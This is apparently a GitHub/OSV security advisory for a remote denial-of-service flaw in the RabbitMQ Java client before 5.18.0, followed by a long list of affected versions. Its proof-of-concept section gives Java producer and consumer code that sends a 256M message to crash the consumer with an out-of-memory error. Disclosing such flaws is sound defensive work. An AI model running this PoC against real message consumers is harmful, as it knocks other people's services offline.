GHSA-mm8h-8587-p46h

Suggest an improvement
Source
https://github.com/advisories/GHSA-mm8h-8587-p46h
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2023/10/GHSA-mm8h-8587-p46h/GHSA-mm8h-8587-p46h.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-mm8h-8587-p46h
Aliases
Published
2023-10-24T01:49:09Z
Modified
2024-02-16T08:16:21.930996Z
Severity
  • 4.9 (Medium) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H CVSS Calculator
Summary
RabbitMQ Java client's Lack of Message Size Limitation leads to Remote DoS Attack
Details

Summary

maxBodyLebgth was not used when receiving Message objects. Attackers could just send a very large Message causing a memory overflow and triggering an OOM Error.

PoC

RbbitMQ

  • Use RabbitMQ 3.11.16 as MQ and specify Message Body size 512M (here it only needs to be larger than the Consumer memory)
  • Start RabbitMQ

    Producer

  • Build a String of length 256M and send it to Consumer

    
    package org.springframework.amqp.helloworld; 
    
    import org.springframework.amqp.core.AmqpTemplate; 
    import org.springframework.context.ApplicationContext; 
    import org.springframework.context.annotation.AnnotationConfigApplicationContext; 
    
    public class Producer {
        public static void main(String[] args) {
            ApplicationContext context = new AnnotationConfigApplicationContext(HelloWorldConfiguration.class);
            AmqpTemplate amqpTemplate = context.getBean(AmqpTemplate.class); 
            String s = "A";
            for(int i=0;i<28;++i){
                s = s + s;
                System.out.println(i);
            }
            amqpTemplate.convertAndSend(s);
            System.out.println("Send Finish");
        }
     }
    

Consumer

  • First set the heap memory size to 128M
  • Read the message sent by the Producer from the MQ and print the length

    package org.springframework.amqp.helloworld;
    
    import org.springframework.amqp.core.AmqpTemplate;
    import org.springframework.amqp.core.Message;
    import org.springframework.context.ApplicationContext;
    import org.springframework.context.annotation.AnnotationConfigApplicationContext;
    
    public class Consumer {
    
        public static void main(String[] args) {
            ApplicationContext context = new AnnotationConfigApplicationContext(HelloWorldConfiguration.class);
            AmqpTemplate amqpTemplate = context.getBean(AmqpTemplate.class);
            Object o = amqpTemplate.receiveAndConvert();
            if(o != null){
                String s = o.toString();
                System.out.println("Received Length : " + s.length());
            }else{
                System.out.println("null");
            }
        }
    }
    

    Results

  • Run the Producer first, then the Consumer

  • Consumer throws OOM Exception

Impact

Users of RabbitMQ may suffer from DoS attacks from RabbitMQ Java client which will ultimately exhaust the memory of the consumer.

References

Affected packages

Maven / com.rabbitmq:amqp-client

Package

Name
com.rabbitmq:amqp-client
View open source insights on deps.dev
Purl
pkg:maven/com.rabbitmq/amqp-client

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
5.18.0

Affected versions

1.*

1.3.0
1.5.4
1.5.5
1.6.0
1.7.2
1.8.0
1.8.1

2.*

2.0.0
2.1.0
2.1.1
2.2.0
2.3.0
2.3.1
2.4.1
2.5.0
2.5.1
2.6.0
2.6.1
2.7.0
2.7.1
2.8.0
2.8.1
2.8.2
2.8.3
2.8.4
2.8.5
2.8.6
2.8.7

3.*

3.0.0
3.0.1
3.0.2
3.0.3
3.0.4
3.1.0
3.1.1
3.1.2
3.1.3
3.1.4
3.2.0
3.2.1
3.2.2
3.2.3
3.2.4
3.3.0
3.3.1
3.3.2
3.3.3
3.3.4
3.3.5
3.4.0
3.4.1
3.4.2
3.4.3
3.4.4
3.5.0
3.5.1
3.5.2
3.5.3
3.5.4
3.5.5
3.5.6
3.5.7
3.6.0
3.6.1
3.6.2
3.6.3
3.6.4
3.6.5
3.6.6

4.*

4.0.0
4.0.1
4.0.2
4.0.3
4.1.0
4.1.1
4.2.0
4.2.1
4.2.2
4.3.0
4.4.0
4.4.1
4.4.2
4.5.0
4.6.0
4.7.0
4.8.0
4.8.1
4.8.2
4.8.3
4.9.0
4.9.1
4.9.2
4.9.3
4.10.0
4.11.0
4.11.1
4.11.2
4.11.3
4.12.0

5.*

5.0.0
5.1.0
5.1.1
5.1.2
5.2.0
5.3.0
5.4.0
5.4.1
5.4.2
5.4.3
5.5.0
5.5.1
5.5.2
5.5.3
5.6.0
5.7.0
5.7.1
5.7.2
5.7.3
5.8.0
5.9.0
5.10.0
5.11.0
5.12.0
5.13.0
5.13.1
5.14.0
5.14.1
5.14.2
5.14.3
5.15.0
5.16.0
5.16.1
5.17.0
5.17.1